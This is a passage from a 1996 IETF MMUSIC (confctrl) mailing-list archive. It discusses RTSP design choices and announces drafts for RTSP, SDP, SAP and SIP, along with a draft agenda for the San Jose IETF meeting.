In your scenario, there would be only be one set of encodings, not one
encoding per client, right? Would having the set of available encodings
obtained out of band by the conference member who is controlling the
playback be unacceptable? Presumably this member would know which
encoding(s) the conference is using, and could obtain a metafile or
session description so that it would know whether or not the server had
the appropriate encodings available.

--Rob

From majordom@ISI.EDU  Mon Nov 25 06:56:41 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28466>; Mon, 25 Nov 1996 14:56:56 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28425>; Mon, 25 Nov 1996 14:56:51 -0800
Received: from r2d2.mcom.com (h-205-217-237-47.netscape.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA29016>; Mon, 25 Nov 1996 14:56:50 -0800
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by r2d2.mcom.com (8.7.5/8.7.3) with ESMTP id OAA16488 for <confctrl@isi.edu>; Mon, 25 Nov 1996 14:56:49 -0800 (PST)
Received: from core ([207.1.143.99]) by dredd.mcom.com
          (Netscape Mail Server v2.01) with SMTP id AAA10319;
          Mon, 25 Nov 1996 14:56:49 -0700
Message-Id: <329A2429.4487@netscape.com>
Date: Mon, 25 Nov 1996 14:56:41 -0800
From: Rob McCool <robm@netscape.com>
Organization: Netscape Communications
X-Mailer: Mozilla 3.01 (X11; U; IRIX 5.3 IP22)
Mime-Version: 1.0
To: Bernard Aboba <aboba@internaut.com>
Cc: "confctrl@isi.edu" <confctrl@isi.edu>,
        "rtsp-partners@netscape.com" <rtsp-partners@netscape.com>
Subject: Re: RTSP: Text v. Binary Control
References: <01BBD8B4.557D2B80@multi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> There is a certain logic to using a text-based approach, and
> converging the syntax of the resulting headers with HTTP. In fact,
> when you consider the headers that are likely to result from this, it
> becomes apparent that they would make useful additions
> to the HTTP specification.
> 
> Which begs the question: why can't the RTSP control functionality be
> implemented as an HTTP extension?

It could be implemented that way, there are a lot of benefits to doing
that. I think the question is how far toward HTTP RTSP should go. If
we're just talking about borrowing a slightly massaged version of the
HTTP syntax, then that's different than if we're talking about full
integration and interoperability with HTTP.

If we're talking about full integration, where RTSP is just an extension
of HTTP, then one difference is that HTTP requests are stateless. It
doesn't matter which order you send GET requests in, or whether or not
they all come on the same connection. Requests are not interrelated, and
connections can be dropped at any time. If each RTSP command was
implemented as a new HTTP method, then requests would become
interrelated and state would need to be kept by the server. If the
connection was dropped, would this imply a loss of the collected state
as it does in the current RTSP?

Also, if RTSP is an HTTP extension then it may make RTSP compliance more
difficult. It depends on how much of HTTP would be required for an RTSP
server/client to understand. Would an RTSP client and server be required
to implement all HTTP/1.1 "must" items?

With the wealth of HTTP resources out there this may not be a big deal
but it is something to keep in mind.

--Rob

From majordom@ISI.EDU  Mon Nov 25 07:23:19 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01285>; Mon, 25 Nov 1996 15:23:24 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01279>; Mon, 25 Nov 1996 15:23:23 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA02239>; Mon, 25 Nov 1996 15:23:19 -0800
Received: from churchy (churchy.std.sri.com) by std.sri.com (4.1/SMI-4.1)
	id AA29989; Mon, 25 Nov 96 15:23:19 PST
Date: Mon, 25 Nov 96 15:23:19 PST
From: rlang@std.sri.com (Ruth Lang)
Message-Id: <9611252323.AA29989@std.sri.com>
Received: by churchy (4.1/SMI-4.1)
	id AA06557; Mon, 25 Nov 96 15:23:18 PST
To: confctrl@isi.edu
Cc: mjh@isi.edu, schooler@cs.caltech.edu, rlang@std.sri.com
Subject: MMUSIC Agenda Topic List
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Folks,

For the two MMUSIC sessions that will be held at the upcoming IETF on:

  Monday, December 9,  13:00-15:00 (multicast), and 
  Tuesday, December 10, 9:00-11:30 (not multicast)

we have compiled the following list of agenda topics.  

- S*IP: overview of a session invitation protocol which blends ideas
  presented in Handley's Session Invitation Protocol and Schulzrinne's
  Simple Conference Invitation Protocol.  A document describing this
  work will be available before the meeting if at all possible.

- SDP: review of modifications made to the Session Description
  Protocol and discussion of this draft's readiness to advance to RFC
  status.  Discuss relationship of SDP to work proposed by the
  Calendaring and Scheduling Working Group.  A new version of this
  internet-draft was posted as available to the mailing list and most
  likely will be posted as an I-D.

- SAP: review of modifications made to the Session Announcement
  Protocol and discussion of this draft's readiness to advance to RFC
  status.  A new version of this internet-draft was posted as
  available to the mailing list and most likely will be posted as an
  I-D.

- RTSP: review of the Real Time Streaming Protocol
  (draft-rao-rtsp-00.txt, soon to be draft-mmusic-rtsp-00.txt),
  discussion of RTSP open issues, general discussion of real-time data
  stream control protocol requirements and scenarios (i.e., scope),
  and presentation of alternate strategies and proposals.

We've also received requests by folks who would like to present
information on conference/call control work being done at British
Telecomm, and the scope of work to be done by the VoIP Forum.  We'll
be working to fit these presentations into the schedule if at all
possible.

Although we anticipate filling the two time slots with these items, we
do welcome your input and suggestions on this list and other items to
be discussed.  We'll circulate a more formal draft agenda later this
week or early next week.

Mark, Ruth, and Eve

From majordom@ISI.EDU  Mon Nov 25 16:31:10 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16902>; Mon, 25 Nov 1996 18:31:25 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16896>; Mon, 25 Nov 1996 18:31:18 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA21304>; Mon, 25 Nov 1996 18:31:17 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.2/8.6.6) with SMTP id UAA25508; Mon, 25 Nov 1996 20:50:37 -0500 (EST)
Message-Id: <329A566E.1EC8@cs.columbia.edu>
Date: Mon, 25 Nov 1996 21:31:10 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Harald.T.Alvestrand@uninett.no
Cc: Anup Rao <anup@netscape.com>, confctrl@ISI.EDU, rtsp-partners@netscape.com
Subject: Re: RTSP: Text v. Binary Control
References: <24979.848955828@domen.uninett.no>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Harald.T.Alvestrand@uninett.no wrote:
> 
> If you want binary inside a text protocol, consider
> stealing the counted literals from IMAP.
> No sense in reinventing wheels.
> 
>             Harald A

I looked at this briefly. If I found the right reference, the format is
{count}CRLF, where count is expressed in decimal numbers. Minimum
overhead for a 256-byte packet, say, is {256}CRLF, i.e., 7 bytes. The
solution proposed in my earlier email would be 3 bytes (if you omit the
stream id, since the IMAP approach doesn't have this either). Since this
would be used for each RTP packet, some may object to the additional
overhead.

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Nov 27 01:35:30 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28983>; Wed, 27 Nov 1996 00:13:08 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28975>; Wed, 27 Nov 1996 00:13:07 -0800
Received: from aun.uninett.no by venera.isi.edu (5.65c/5.61+local-25)
	id <AA08636>; Wed, 27 Nov 1996 00:13:06 -0800
Received: from dale.uninett.no by aun.uninett.no with SMTP (PP);
          Wed, 27 Nov 1996 09:12:32 +0100
Received: from dale.uninett.no (localhost [127.0.0.1]) 
          by dale.uninett.no (8.6.9/8.6.12) with ESMTP id AAA07827;
          Wed, 27 Nov 1996 00:35:30 +0100
From: Harald.T.Alvestrand@uninett.no
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Anup Rao <anup@netscape.com>, confctrl@ISI.EDU, rtsp-partners@netscape.com
Subject: Re: RTSP: Text v. Binary Control
In-Reply-To: Your message of "Mon, 25 Nov 1996 21:31:10 EST." <329A566E.1EC8@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Id: <7823.849051330.1@dale.uninett.no>
Date: Wed, 27 Nov 1996 00:35:30 +0100
Message-Id: <7825.849051330@dale.uninett.no>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Text protocols cost a few bytes more than binary protocols.
But putting binary numbers into a "line of text" basically means
that you can't use C string operations on it, because it can contain
NULLs, so it's useful keeping a strong distinction between "line mode"
and "binary mode" - preferably at line boundaries!

Have fun!

               Harald A

From majordom@ISI.EDU  Wed Nov 27 05:20:06 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12853>; Wed, 27 Nov 1996 08:55:40 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12843>; Wed, 27 Nov 1996 08:55:38 -0800
Received: from ietf.org by venera.isi.edu (5.65c/5.61+local-25)
	id <AA24328>; Wed, 27 Nov 1996 08:54:36 -0800
Received: from ietf.org by ietf.org id aa25255; 27 Nov 96 10:20 EST
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@isi.edu
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-stream-00.txt, .ps
Date: Wed, 27 Nov 1996 10:20:06 -0500
Message-Id:  <9611271020.aa25255@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

 A New Internet-Draft is available from the on-line Internet-Drafts 
 directories. This draft is a work item of the Multiparty Multimedia 
 Session Control Working Group of the IETF.                                

       Title     : A real-time stream control protocol (RTSP')             
       Author(s) : H. Schulzrinne
       Filename  : draft-ietf-mmusic-stream-00.txt, .ps
       Pages     : 25
       Date      : 11/26/1996

This strawman proposal presents a revised version of the RTSP proposal put 
forward to the MMUSIC group, borrowing liberally from the original.   
     
The Real Time Streaming Protocol, or RTSP, is an application-level protocol
for control over the delivery of data with real-time properties. RTSP 
provides an extensible framework to enable controlled, on-demand delivery 
of real- time data, such as audio and video.  Sources of data can include 
both live data feeds and stored clips. This protocol is intended to control
multiple data delivery sessions, provide a means for choosing delivery 
channels such as UDP, multicast UDP and TCP, and delivery mechanisms based 
upon RTP (RFC 1889).                                                       

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-stream-00.txt".
 Or 
     "get draft-ietf-mmusic-stream-00.ps".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-stream-00.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa:  ftp.is.co.za                    
	                                                
     o  Europe:  nic.nordu.net            	
                 ftp.nis.garr.it                 
	                                                
     o  Pacific Rim: munnari.oz.au               
	                                                
     o  US East Coast: ds.internic.net           
	                                                
     o  US West Coast: ftp.isi.edu               
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-stream-00.txt".
 Or 
     "FILE /internet-drafts/draft-ietf-mmusic-stream-00.ps".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19961126163430.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-stream-00.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-stream-00.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19961126163430.I-D@ietf.org>

--OtherAccess--

--NextPart--


From majordom@ISI.EDU  Wed Nov 27 06:34:05 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17324>; Wed, 27 Nov 1996 17:20:05 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17309>; Wed, 27 Nov 1996 17:20:03 -0800
Received: from ietf.org by venera.isi.edu (5.65c/5.61+local-25)
	id <AA21785>; Wed, 27 Nov 1996 17:20:03 -0800
Received: from ietf.ietf.org by ietf.org id aa13121; 27 Nov 96 11:34 EST
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@isi.edu
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-rtsp-00.txt
Date: Wed, 27 Nov 1996 11:34:05 -0500
Message-Id:  <9611271134.aa13121@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

 A New Internet-Draft is available from the on-line Internet-Drafts 
 directories. This draft is a work item of the Multiparty Multimedia 
 Session Control Working Group of the IETF.                                

       Title     : Real Time Streaming Protocol (RTSP)                     
       Author(s) : A. Rao, R. Lanphier
       Filename  : draft-ietf-mmusic-rtsp-00.txt
       Pages     : 40
       Date      : 11/27/1996

The Real Time Streaming Protocol, or RTSP, is an application-level protocol
for control over the delivery of data with real-time properties. RTSP 
provides an extensible framework to enable controlled, on-demand delivery 
of real- time data, such as audio and video. Sources of data can include 
both live data feeds and stored clips. This protocol is intended to control
multiple data delivery sessions, provide a means for choosing delivery 
channels such as UDP, multicast UDP and TCP, and delivery mechanisms based 
upon RTP (RFC 1889). RTSP uses the Session Control Protocol (SCP) (see 
appendix) to allow the use of a single TCP connection between the client 
and server for controlling delivery of one or more streams of data.        
[Note: see "Use Of UDP For Delivery Of Control Messages" in the "Open 
Issues" document for discussion of alternative control delivery 
(http://www.prognet.com/prognet/rt/openissues.html)]                       

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-rtsp-00.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-00.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa:  ftp.is.co.za                    
	                                                
     o  Europe:  nic.nordu.net            	
                 ftp.nis.garr.it                 
	                                                
     o  Pacific Rim: munnari.oz.au               
	                                                
     o  US East Coast: ds.internic.net           
	                                                
     o  US West Coast: ftp.isi.edu               
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-rtsp-00.txt".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19961127104204.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-rtsp-00.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-rtsp-00.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19961127104204.I-D@ietf.org>

--OtherAccess--

--NextPart--

From majordom@ISI.EDU  Wed Nov 27 09:40:30 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18746>; Wed, 27 Nov 1996 17:41:15 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18740>; Wed, 27 Nov 1996 17:41:14 -0800
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA22642>; Wed, 27 Nov 1996 17:41:13 -0800
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA06177
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 27 Nov 1996 17:41:09 -0800
Message-Id: <2.2.32.19961128014030.009c7c40@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 27 Nov 1996 17:40:30 -0800
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP: draft-ietf-mmusic-rtsp-00.txt
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The Real Time Streaming Protocol (RTSP) has been submitted on behalf of the
mmusic working group of the IETF, and is available at the following address:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-00.txt

(My earlier attempt to forward the draft itself to the list was eaten.  If
you would like me to send it as an attachment, please ask.).

This document consists of no technical changes to the previously submitted
draft-rao-rtsp-00.txt from October 9, 1996, and supercedes that draft.  The
only changes in this revision are added references to open issues, most of
which refer to an issues list located at
http://www.prognet.com/prognet/rt/openissues.html.

ABSTRACT

The Real Time Streaming Protocol, or RTSP, is an application-level
protocol for control over the delivery of data with real-time
properties. RTSP provides an extensible framework to enable
controlled, on-demand delivery of real- time data, such as audio and
video. Sources of data can include both live data feeds and stored
clips. This protocol is intended to control multiple data delivery
sessions, provide a means for choosing delivery channels such as UDP,
multicast UDP and TCP, and delivery mechanisms based upon RTP (RFC
1889). RTSP uses the Session Control Protocol (SCP) (see appendix) to
allow the use of a single TCP connection between the client and
server for controlling delivery of one or more streams of data.


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Mon Dec  2 06:24:19 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29464>; Mon, 2 Dec 1996 09:47:11 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29454>; Mon, 2 Dec 1996 09:47:09 -0800
Received: from ietf.org by venera.isi.edu (5.65c/5.61+local-25)
	id <AA25332>; Mon, 2 Dec 1996 09:46:50 -0800
Received: from ietf.ietf.org by ietf.org id aa05217; 2 Dec 96 11:24 EST
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@isi.edu
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-02.txt, .ps
Date: Mon, 02 Dec 1996 11:24:19 -0500
Message-Id:  <9612021124.aa05217@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

 A Revised Internet-Draft is available from the on-line Internet-Drafts 
 directories. This draft is a work item of the Multiparty Multimedia 
 Session Control Working Group of the IETF.                                

       Title     : SDP: Session Description Protocol                       
       Author(s) : M. Handley, V. Jacobson
       Filename  : draft-ietf-mmusic-sdp-02.txt, .ps
       Pages     : 33
       Date      : 11/27/1996

This document defined the Session Description Protocol, SDP.  SDP is  
intended for describing multimedia sessions for the purposes of session 
announcement, session invitation, and other forms of session initiation.

This document is a product of the Multiparty Multimedia Session  Control 
(MMUSIC) working group of the Internet Engineering Task Force.  Comments 
are solicited and should be addressed to  the  working  group's  mailing 
list at confctrl@isi.edu and/or the authors.                               

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-sdp-02.txt".
 Or 
     "get draft-ietf-mmusic-sdp-02.ps".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp-02.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa:  ftp.is.co.za                    
	                                                
     o  Europe:  nic.nordu.net            	
                 ftp.nis.garr.it                 
	                                                
     o  Pacific Rim: munnari.oz.au               
	                                                
     o  US East Coast: ds.internic.net           
	                                                
     o  US West Coast: ftp.isi.edu               
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-sdp-02.txt".
 Or 
     "FILE /internet-drafts/draft-ietf-mmusic-sdp-02.ps".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19961127132138.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-02.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-sdp-02.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19961127132138.I-D@ietf.org>

--OtherAccess-


--NextPart--

From majordom@ISI.EDU  Mon Dec  2 08:45:57 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06501>; Mon, 2 Dec 1996 10:46:07 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06495>; Mon, 2 Dec 1996 10:46:05 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA29498>; Mon, 2 Dec 1996 10:46:04 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id NAA21132 for confctrl@isi.edu; Mon, 2 Dec 1996 13:45:58 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@isi.edu
Subject: SDP/SAP drafts and version numbering
Date: Mon, 02 Dec 96 13:45:57 -0500
Message-Id: <2976.849552357@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


New SDP and SAP drafts are now available from the internet-drafts
servers.  However, there may be some confusion over the version
numbering - the latest *new* drafts are currently numbered:

draft-ietf-mmusic-sap-00.txt
draft-ietf-mmusic-sdp-02.txt

The previous drafts in the confctrl archive were also numbered the
same, but never made it to the internet-drafts directories, and the
internet-drafts editor renumbered the latest ones (including editing
the postscript!) because I failed to point this out.

Apologies for any confusion,

Mark

From majordom@ISI.EDU  Mon Dec  2 14:09:45 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03119>; Mon, 2 Dec 1996 16:09:48 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03113>; Mon, 2 Dec 1996 16:09:47 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA21033>; Mon, 2 Dec 1996 16:09:46 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id TAA11450 for confctrl@isi.edu; Mon, 2 Dec 1996 19:09:45 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@isi.edu
Subject: Session Initiation Protocol
Date: Mon, 02 Dec 96 19:09:45 -0500
Message-Id: <6328.849571785@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


As promised, Henning Schulzrinne and I had a meeting last week to come
to a conclusion regarding merging the existing SIP and SCIP drafts
into one common draft.

The resulting protocol can operate over both UDP and TCP, and has a
more MIME-like syntax than SIP did before.  One hope is that the
syntax is sufficiently close to Henning's draft-ietf-mmusic-stream
specification that SIP can be cleanly used to initiate playback
sessions into multimedia conferences as well as inviting users to
participate.  

The error behaviour for proxies is also much better defined in this
draft than it was in either previous draft.

Although it's not completely finalised yet (especially some of the
proxy behaviour when translating from TCP to UDP), I've written up the
resulting agreed protocol.  A draft is now available from:

  ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sip-01.txt
  ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sip-01.ps

It's not yet in the internet-drafts archives, but will be in due
course (I have submitted it, but obviously after the deadline for
submission before this IETF).

Mark

From majordom@ISI.EDU  Tue Dec  3 05:07:51 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06590>; Tue, 3 Dec 1996 13:08:01 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06580>; Tue, 3 Dec 1996 13:07:57 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA13492>; Tue, 3 Dec 1996 13:07:52 -0800
Received: from churchy (churchy.std.sri.com) by std.sri.com (4.1/SMI-4.1)
	id AA24246; Tue, 3 Dec 96 13:07:51 PST
Date: Tue, 3 Dec 96 13:07:51 PST
From: rlang@std.sri.com (Ruth Lang)
Message-Id: <9612032107.AA24246@std.sri.com>
Received: by churchy (4.1/SMI-4.1)
	id AA21636; Tue, 3 Dec 96 13:07:50 PST
To: confctrl@isi.edu
Cc: mankin@isi.edu, allyn@eng.sun.com, mjh@isi.edu, schooler@cs.caltech.edu,
        rlang@std.sri.com
Subject: draft MMUSIC agenda
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Folks,

Enclosed is a draft agenda for the upcoming MMUSIC meeting.  We're
sure to have two very interesting sessions.  During the first our
focus will be on session description and initiation protocols.  The
focus of the second will be on new work being undertaken by the group
which is the definition of a real-time stream control protocol.

Please note that URLs for documents to be discussed are provided below
with the particular agenda item.  Many of these documents are also
available from ftp://ftp.isi.edu/confctrl/docs/.

Comments on the enclosed agenda are welcome and encouraged as soon as
possible as we hope to issue a near-final agenda within the next
couple of days.  Thanks in advance to all who will be presenting and
participating for your time and contributions to the group.

Mark, Eve, and Ruth

-------------------

Agenda for the MMUSIC Working Group
37th IETF, San Jose, California, USA

Monday, December 9,  13:00-15:00 (multicast)
--------------------------------------------

Welcome and Session Overview (5 minutes)

SDP - Session Description Protocol (20 min)
      Mark Handley, USC Information Sciences Institute

	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp.02.txt
	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp.02.ps

SAP - Session Announcement Protocol (20 min)
      Mark Handley, USC Information Sciences Institute

	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sap.00.txt
	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sap.00.ps

SIP - Session Initiation Protocol (45 min)
      Mark Handley, USC Information Sciences Institute
      Henning Schulzrinne, Columbia University

	ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sip-01.txt
	ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sip-01.ps

Simple Universal Call/Conference Establishment Sequence (15 minutes)	
      Pete Cordell, British Telecom

	ftp://ds.internic.net/internet-drafts/draft-cordell-success-00.txt

User Location Service Protocol Status (5 minutes)
      William Lai, Microsoft Corporation

Overview of VoIP Forum (10 minutes)	
      Scott Petrack, VocalTec


Tuesday, December 10, 9:00-11:30 (not multicast)
------------------------------------------------

Welcome and Session Overview (10 minutes)

RTSP - Real Time Stream Protocol (30 minutes)
       Anup Rao, Netscape Communication
       Rob Lanphier, Progressive Networks

	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-00.txt

RTSP Open Issues Document Discussion (45 minutes)
       Anup Rao, Netscape Communication
       Rob Lanphier, Progressive Networks

	http://www.prognet.com/prognet/rt/openissues.html

RTSP' - Real-Time Stream Control Protocol (30 minutes)
	Henning Schulzrinne, Columbia University

	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-stream.00.txt
	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-stream.00.ps

Open Discussion of Issues and Scenarios (20 minutes)

CamCoder Control Protocol (15 minutes)
       Akira Amamo, Hiroshima City University






From majordom@ISI.EDU  Tue Dec  3 14:16:45 1996
